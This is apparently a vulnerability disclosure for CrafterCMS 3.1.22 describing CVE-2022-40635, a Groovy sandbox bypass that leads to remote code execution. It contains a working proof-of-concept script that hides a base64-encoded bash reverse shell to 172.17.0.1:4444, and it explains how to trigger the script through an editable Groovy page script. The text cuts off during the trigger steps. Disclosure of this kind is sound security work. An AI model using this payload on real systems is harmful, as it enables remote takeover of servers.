

CrafterCMS Disclosures

Version 3.1.22

Environment:

- CrafterCMS 3.1.22
- Ubuntu Linux
- Docker



Studio Version Number: 3.1.22-f597fb

Build Number: f597fbf204e4f96105688b3accce7c8746c887ac

Build Date/Time: 02-24-2022 00:06:56 +0200

Crafter CMS is made possible by these other [open source](#) software projects.

Setup:

In order to setup the environment, docker was installed on an Ubuntu Linux machine and the following commands were run:

```
git clone https://github.com/craftercms/docker-compose.git
cd docker-compose/authoring
sudo docker-compose up
```

Findings:

1. CVE-2022-40635: Groovy Sandbox Bypass

Description:

By inserting malicious Groovy elements, an attacker may bypass Sandbox restrictions and obtain RCE (Remote Code Execution).

Proof of Concept:

The following Groovy script was tested and successfully bypasses restrictions resulting in the execution of arbitrary system commands:

```
//RCE
def x = new javax.script.ScriptEngineManager()
def y = x.getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTcuMC4xLzQ0NDQgMD4mMQo=}|{base64,-d}|bash')")
```

Note: In this case, the above system command will execute a bash reverse shell that will be sent back to the attacker listening on host 172.17.0.1, port 4444.

In order to actually trigger the RCE we will create a new site, access the “Sidebar” and select a Groovy Script to edit (in this case we will edit “home.groovy” which will execute every time the home page is accessed).

Accessing the “Sidebar” and selecting a Groovy Script to edit:



